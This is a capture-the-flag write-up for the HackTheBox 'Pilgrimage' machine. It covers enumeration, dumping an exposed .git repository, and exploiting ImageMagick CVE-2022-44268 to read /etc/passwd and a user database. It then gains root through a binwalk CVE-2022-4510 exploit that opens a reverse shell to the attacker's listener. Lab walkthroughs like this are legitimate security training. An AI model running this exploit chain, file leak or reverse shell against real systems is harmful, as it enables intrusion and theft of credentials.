· 9 min read

HackTheBox - Pilgrimage

Writeup for Pilgrimage HackTheBox machine.

Writeup for Pilgrimage HackTheBox machine.

Enumeration

┌──(adhkr㉿John-Titor)-[~]
└─$ nmap -sCV 10.129.27.163
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-26 02:16 MSK
Nmap scan report for 10.129.27.163
Host is up (0.49s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 20be60d295f628c1b7e9e81706f168f3 (RSA)
|   256 0eb6a6a8c99b4173746e70180d5fe0af (ECDSA)
|_  256 d14e293c708669b4d72cc80b486e9804 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.88 seconds

As we see base on the nmap scan we have two port open, 22 and 80. Let’s run Gobuster to find any other clue path except the name of the domain http://pilgrimage.htb/ that we already acquired.

┌──(adhkr㉿John-Titor)-[~/Hackthebox/seasonhtb/pilgrimage]
└─$ gobuster dir -u http://pilgrimage.htb -w ../../directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://pilgrimage.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                ../../directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/06/26 02:24:57 Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 169] [--> http://pilgrimage.htb/assets/]
/.git                 (Status: 301) [Size: 169] [--> http://pilgrimage.htb/.git/]
Progress: 776 / 220562 (0.35%)

The results of Gobuster shows that we might have here a .git folder uploaded to the website, that’s basically a good found. Let’s use gitdumper to dump the .git from the website

┌──(adhkr㉿John-Titor)-[~/Hackthebox/seasonhtb/pilgrimage]
└─$ gitdumper http://pilgrimage.htb/.git/ src
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########


[*] Destination folder does not exist
[+] Creating src/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/e1/a40beebc7035212efdcb15476f9c994e3634a7
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/f3/e708fd3c3689d0f437b2140e08997dbaff6212
[+] Downloaded: objects/93/ed6c0458c9a366473a6bcb919b1033f16e7a8d
[+] Downloaded: objects/c2/cbe0c97b6f3117d4ab516b423542e5fe7757bc
[+] Downloaded: objects/6c/965df00a57fd13ad50b5bbe0ae1746cdf6403d
[+] Downloaded: objects/dc/446514835fe49994e27a1c2cf35c9e45916c71
[+] Downloaded: objects/46/44c40a1f15a1eed9a8455e6ac2a0be29b5bf9e
[+] Downloaded: objects/f1/8fa9173e9f7c1b2f30f3d20c4a303e18d88548
[+] Downloaded: objects/c4/18930edec4da46019a1bac06ecb6ec6f7975bb
[+] Downloaded: objects/36/c734d44fe952682020fd9762ee9329af51848d
[+] Downloaded: objects/b2/15e14bb4766deff4fb926e1aa080834935d348
[+] Downloaded: objects/8f/155a75593279c9723a1b15e5624a304a174af2
[+] Downloaded: objects/9e/ace5d0e0c82bff5c93695ac485fe52348c855e
[+] Downloaded: objects/a7/3926e2965989a71725516555bcc1fe2c7d4f9e
[+] Downloaded: objects/98/10e80fba2c826a142e241d0f65a07ee580eaad
[+] Downloaded: objects/26/8dbf75d02f0d622ac4ff9e402175eacbbaeddd
[+] Downloaded: objects/81/703757c43fe30d0f3c6157a1c20f0fea7331fc
.......

Upon entering the folder we don’t see anything because some of the file are deleted, but all is noted in the git so we can just do git restore in order to revert the deletion

┌──(adhkr㉿John-Titor)-[~/Hackthebox/seasonhtb/pilgrimage/src]
└─$ git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    assets/bulletproof.php
        deleted:    assets/css/animate.css
        deleted:    assets/css/custom.css
        deleted:    assets/css/flex-slider.css
        deleted:    assets/css/fontawesome.css
        deleted:    assets/css/owl.css
        deleted:    assets/css/templatemo-woox-travel.css
        deleted:    assets/images/banner-04.jpg
        deleted:    assets/images/cta-bg.jpg
        deleted:    assets/js/custom.js
        deleted:    assets/js/isotope.js
        deleted:    assets/js/isotope.min.js
        deleted:    assets/js/owl-carousel.js
no changes added to commit (use "git add" and/or "git commit -a")
┌──(adhkr㉿John-Titor)-[~/Hackthebox/seasonhtb/pilgrimage/src]
└─$ git restore .

Now we are able to see the source code of the website

┌──(adhkr㉿John-Titor)-[~/Hackthebox/seasonhtb/pilgrimage/src]
└─$ ls
assets  dashboard.php  index.php  login.php  logout.php  magick  register.php  vendor

We notice that we have here magick binary, which are actually the binary for ImageMagick program that are used for image manipulation

┌──(adhkr㉿John-Titor)-[~/Hackthebox/seasonhtb/pilgrimage/src]
└─$ file magick
magick: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9fdbc145689e0fb79cb7291203431012ae8e1911, stripped

┌──(adhkr㉿John-Titor)-[~/Hackthebox/seasonhtb/pilgrimage/src]
└─$ ./magick -version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)

Now lets open the website in order to learn about it further

Alt text

As we see here indeed the website are working with image, in details it’s shrinking the image. Then ImageMagick are most likely be used for shrinking the image uploaded to the website.

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  $image = new Bulletproof\Image($_FILES);
  if($image["toConvert"]) {
    $image->setLocation("/var/www/pilgrimage.htb/tmp");
    $image->setSize(100, 4000000);
    $image->setMime(array('png','jpeg'));
    $upload = $image->upload();
    if($upload) {
      $mime = ".png";
      $imagePath = $upload->getFullPath();
      if(mime_content_type($imagePath) === "image/jpeg") {
        $mime = ".jpeg";
      }
      $newname = uniqid();
      exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
      unlink($upload->getFullPath());
      $upload_path = "http://pilgrimage.htb/shrunk/" . $newname . $mime;
      if(isset($_SESSION['user'])) {
        $db = new PDO('sqlite:/var/db/pilgrimage');
        $stmt = $db->prepare("INSERT INTO `images` (url,original,username) VALUES (?,?,?)");
        $stmt->execute(array($upload_path,$_FILES["toConvert"]["name"],$_SESSION['user']));
      }
      header("Location: /?message=" . $upload_path . "&status=success");
    }
    else {
      header("Location: /?message=Image shrink failed&status=fail");
    }
  }
  else {
    header("Location: /?message=Image shrink failed&status=fail");
  }
}

We can be sure from above code inside the index.php source code that indeed the magick binary are used to convert and -resize into 50% of the initial size.

Foothold

Upon searching in google about our find, i stumbled upon this website https://www.metabaseq.com/imagemagick-zero-days/ where clearly that the version of ImageMagick used by the website are vulnerable from CVE-2022-44268: Arbitrary Remote Leak.

This is the description of the vulnerability

When ImageMagick parses the PNG file, for example in a resize operation, the resulting image could have embedded the content of an arbitrary remote file from the website (if magick binary has permissions to read it).

A malicious actor could craft a PNG or use an existing one and add a textual chunk type (e.g., tEXt). These types have a keyword and a text string. If the keyword is the string “profile” (without quotes) then ImageMagick will interpret the text string as a filename and will load the content as a raw profile, then the attacker can download the resized image which will come with the content of a remote file.

After do my research i decided to create my own script in order to exploit this vulnerability. You can find it in my github repo below: https://github.com/adhikara13/CVE-2022-44268-MagiLeak/tree/v1.0.0

┌──(adhkr㉿John-Titor)-[~/Hackthebox/seasonhtb/pilgrimage/src]
└─$ python3 magileak.py generate -l /etc/passwd -o leet.png

Now let’s upload the leet.png image to the website and let the website shrink it

Alt text

The image are succesfully shrunk. Now let’s download it and read the data extracted by the image

┌──(adhkr㉿John-Titor)-[~/Hackthebox/seasonhtb/pilgrimage/src]
└─$ python3 magileak.py read -i 6498d41cd39d5.png
Decoded Profile Type:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

We sucessfully extracted the /etc/passwd file. Now let’s find another interesting file doing the same method.

User

While checking the source codes further there is one file that are interesting for me which is the database file used everywhere

$db = new PDO('sqlite:/var/db/pilgrimage');

Let’s attempt to extract this file

┌──(adhkr㉿John-Titor)-[~/Hackthebox/seasonhtb/pilgrimage/src]
└─$ python3 magileak.py read -i 6499d3434253f.png
Decoded binary data has been written to 'extracted'.
┌──(adhkr㉿John-Titor)-[~/Hackthebox/seasonhtb/pilgrimage/src]
└─$ file extracted
extracted: SQLite 3.x database, last written using SQLite version 3034001, file counter 120, database pages 5, cookie 0x4, schema 4, UTF-8, version-valid-for 120

And i wrote another python script in order to just open all row from the sqlite database inside every table

import sqlite3

conn = sqlite3.connect('reconstructed.db')
cursor = conn.cursor()

# Get the list of table names in the database
cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
tables = cursor.fetchall()

# Fetch all rows from each table
for table in tables:
    table_name = table[0]
    print(f"Table: {table_name}")
    
    # Fetch all rows from the current table
    cursor.execute(f"SELECT * FROM {table_name}")
    rows = cursor.fetchall()
        
    for row in rows:
        print(row)

conn.close()

Run the code

┌──(adhkr㉿John-Titor)-[~/Hackthebox/seasonhtb/pilgrimage/src]
└─$ python3 read.py
Table: users
('emily', 'REDACTED')
Table: images

Then we got some account. Let’s login using ssh to this account.

┌──(adhkr㉿John-Titor)-[~/Hackthebox/seasonhtb/pilgrimage/src]
└─$ ssh [email protected]
The authenticity of host '10.129.27.163 (10.129.27.163)' can't be established.
ED25519 key fingerprint is SHA256:uaiHXGDnyKgs1xFxqBduddalajktO+mnpNkqx/HjsBw.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.27.163' (ED25519) to the list of known hosts.
[email protected]'s password:
Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

emily@pilgrimage:~$ cat user.txt
**REDACTED**

Root

Running ps aux in order to see running processes my eyes are right away catching one not ordinary linux processes, running by root

emily@pilgrimage:~$ ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         665  0.0  0.0   6816  3012 ?        Ss   07:42   0:00 /bin/bash /usr/sbin/malwarescan.sh

Check the permissions

emily@pilgrimage:~$ ls /usr/sbin/malwarescan.sh -la
-rwxr--r-- 1 root root 474 Jun  1 19:14 /usr/sbin/malwarescan.sh

Well of course we can’t alter it, otherwise it would be the easiest PE ever. But we do have access to read it so lLet’s try to open it

emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done

It seem’s this is some sort of defense mechanism script from malicious file upload from the user. It uses binwalk with flag -e to extract embedded files inside the uploaded image, and then check whether it falls into the small blacklist above.

We see that binwalk use absolute path so we can’t just fake the binwalk binary, maybe some sort of gtfobin? But after checking there i don’t find binwalk in the list.

Checking the version of binwalk it shows v.2.3.2 and this version has vulnerability CVE-2022-4510. The details can read here below: https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk/

There is also a ready exploit in github that we can use https://github.com/electr0sm0g/CVE-2022-4510.git

The way of using the exploit is we run it and it will generate for us an image that we will upload into the website. Later after uploading, binwalk will try to extract our image but instead we get a reverse shell from it.

┌──(adhkr㉿John-Titor)-[~/Hackthebox/seasonhtb/pilgrimage/src/CVE-2022-4510]
└─$ python3 RCE_Binwalk.py test.png 10.10... 1337

################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################


You can now rename and share binwalk_exploit and start your local netcat listener.

Start out listener and then upload the image to the website, then trigger the script malwarescan.sh by copying the uploaded image to the /var/www/pilgrimage.htb/shrunk folder.

In emily

emily@pilgrimage:~$ cp please.png /var/www/pilgrimage.htb/shrunk/

In Kali

┌──(adhkr㉿John-Titor)-[~]
└─$ pwncat-cs -p 9331
[20:33:49] Welcome to pwncat 🐈!                            __main__.py:164
[20:39:58] received connection from 10.129.27.131:39058          bind.py:84
[20:40:02] 10.129.27.131:39058: registered new host w/ db    manager.py:957
(local) pwncat$
(remote) root@pilgrimage:/root/quarantine# whoami
root
Back to Blog